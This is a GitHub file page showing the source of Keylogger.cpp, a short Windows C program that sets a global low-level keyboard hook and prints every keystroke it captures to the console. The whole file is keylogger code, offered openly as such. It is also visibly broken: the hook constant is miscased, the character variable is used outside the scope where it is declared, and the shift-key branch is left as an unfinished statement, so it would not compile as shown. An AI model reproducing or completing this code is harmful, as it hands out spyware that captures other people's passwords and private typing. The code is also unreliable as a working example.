-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathKeylogger.cpp
47 lines (38 loc) · 1.05 KB
/
Keylogger.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <windows.h>
/*
HHOOK SetWindowsHookExA(
int idHook,
HOOOKPROC lpfn,
HINSTANCE hmod,
DWORD dwThreadId
);
*/
HHOOK hook;
LRESULT CALLBACK funcHook(int codigo, WPARAM wParam, LPARAM lParam);
int main(){
MSG msg;
char ch;
hook = SetWindowsHookExA(wH_KEYBOARD_LL, funcHook, NULL, 0);
if(hook == NULL){
printf("Error;");
return(1);
}
while (GetMessage(&msg, NULL, 0, 0) != 0){
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hook);
}
LRESULT CALLBACK funcHook(int codigo, WPARAM wParam, LPARAM lParam){
PKBDLLHOOKSTRUCT kbDllHook = (PKBDLLHOOKSTRUCT)lParam;
if(wParam == WM_KEYDOWN && codigo == HC_ACTION){
if(!GetAsyncKeyState(VK_SHIFT)){
ch = kbDllHook->vkCode + 32;
}else{
kbDllHook->vkCode
}
printf("%c", ch);
}
return(CallNextHookEx(hook, codigo, wParam, lParam));
}